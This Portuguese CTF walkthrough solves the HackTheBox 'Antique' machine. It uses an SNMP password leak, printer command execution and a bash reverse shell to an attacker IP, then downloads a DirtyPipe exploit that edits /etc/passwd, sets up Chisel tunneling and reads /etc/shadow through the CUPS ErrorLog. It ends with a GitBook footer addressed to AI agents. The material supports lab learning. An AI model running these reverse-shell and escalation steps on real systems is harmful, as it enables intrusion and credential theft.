> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md). # Resolução da máquina Antique do HackTheBox {% embed url="" %} {% hint style="warning" %} Habilidades: * Enumeração SNMP * Abuso de Impressora de Rede * Exploração da Administração do CUPS (ErrorLog) * EXTRA -> (DirtyPipe) (CVE-2022-0847] {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Vamos estabelecer nosso espaço de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento usando o Nmap

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

### Varredura TCP: Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (23.7777)

**Varredura de versão de portas com Nmap:** Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p23,7777 10.10.11.107 -oN targeted ```

### Varredura UDP: **Descoberta de portas abertas com Nmap:** Também realizamos uma varredura nas portas UDP com **Nmap**: ```bash nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP ``` Extraímos os resultados novamente com `extractPorts`, e observamos a abertura da porta **161**, usada por SNMP.:

## Explorando Serviços ### Porta 23 (Telnet) – HP JetDirect Ao tentar conectar na porta **23** via **Telnet**, encontramos um serviço HP JetDirect que nos pede uma senha. Podemos tentar conectar com: ```bash nc -vn 10.10.11.107 23 ```

### Porta 161 (SNMP) {% embed url="" %} Usamos **snmpbulkwalk** para enumerar os serviços SNMP expostos na porta **161**: ```bash snmpbulkwalk -c public -v2c 10.10.11.107 . ```

```bash 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` Isso nos dá uma string de caracteres hexadecimal que convertemos para ASCII para obter o conteúdo legível: {% code overflow="wrap" %} ```bash echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r ``` {% endcode %}

Este canal contém algumas informações interessantes, mas nada imediatamente útil para exploração. ```bash nc -vn 10.10.11.107 23 P@ssw0rd@123!!123 ```

Ao tentar injetar uma string como senha na porta 23 (JetDirect), usamos tentativas como: ```bash P@ssw0rd@123!!123 ```

## Abuso de Impressora de Rede Detectamos que é possível executar comandos através da impressora de rede. A exploração dessa vulnerabilidade depende do `exec` comando, que permite injetar comandos remotos. Por exemplo: ```bash exec id ```

Isso retorna credenciais do sistema e permite executar outros comandos. **Shell reverso** Estabelecemos uma shell reversa usando **nc** na porta **443** da máquina atacante: ```bash nc -nvlp 443 ``` ```bash exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" ```

Em seguida, manipulamos a sessão de shell para obter melhor controle: ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### flag user.txt :)

## Escalada de privilégios ## 1. Exploração DirtyPipe {% embed url="" %} Verificamos se a máquina era vulnerável ao exploit DirtyPipe, um bug que permite modificar arquivos do sistema em execução. Descobrimos que a máquina tinha **gcc**, um compilador C, disponível no local `/usr/bin/gcc`. ```bash lp@antique:/home/lp$ which gcc /usr/bin/gcc ``` Em seguida, usamos **Python3** para transferir o exploit da nossa máquina local para a máquina alvo. Na nossa máquina local, iniciamos um servidor HTTP para hospedar o exploit: ```bash python3 -m http.server ``` Na máquina vítima, baixamos o exploit: ```bash wget http://10.10.14.4/exploit.c ```

Depois que o exploit foi recuperado, compilamos o arquivo C com **gcc**: ```bash gcc exploit.c -o exploit ``` {% hint style="info" %} O exploit modifica o `/etc/passwd` arquivo ao injetar um hash de senha e adiciona um usuário `aaron` com uma senha específica, tudo para permitir escalonamento de privilégios. {% endhint %}

Por fim, basta executar o script: ```bash ./exploit ``` Isso nos permite obter `root`/*/* acesso à máquina

## 2. Encaminhamento de Porta com Chisel Ao inspecionar as portas abertas na máquina alvo, encontramos a porta **631** (usada pelo CUPS). Usando o seguinte comando, confirmamos a presença de um serviço CUPS: ```bash netstat -nat ``` O serviço CUPS está na versão **1.6.1** e identificamos que ele pode ser vulnerável. Para redirecionar esta porta, usamos **Chisel**, uma ferramenta de tunelamento.

Primeiro compilamos o Chisel na nossa máquina local: {% embed url="" %} ```bash go build -ldflags "-s -w" . upx chisel ``` Em seguida, transferimos o executável Chisel para a máquina vítima por meio de um servidor HTTP Python3: ```bash python3 -m http.server 8080 wget http://10.10.14.4:8080/chisel ```

Na nossa máquina, iniciamos o servidor Chisel: ```bash chisel server -p 8888 -reverse ``` Em seguida, na máquina vítima, configuramos o cliente Chisel para redirecionar a porta 631 para a nossa máquina local: ```bash ./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631 ```

Isso nos permite acessar a interface web do CUPS da máquina alvo por meio de um túnel seguro. ### Exploração da Vulnerabilidade CUPS 1.6.1 {% embed url="" %} Usando **cupsctl**, modificamos o **CUPS** configuração do serviço para redirecionar o **ErrorLog** arquivo para um arquivo sensível, como **/etc/shadow**. Isso permite que esse arquivo seja lido como root pela interface web do CUPS. Comando para modificar a configuração: ```bash cupsctl ErrorLog=/etc/shadow ``` Então acessamos a interface web do CUPS visitando a seguinte URL no servidor CUPS por meio do nosso túnel: Isso tornou possível visualizar o conteúdo do **/etc/shadow** arquivo e obter o `root.txt` flag.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.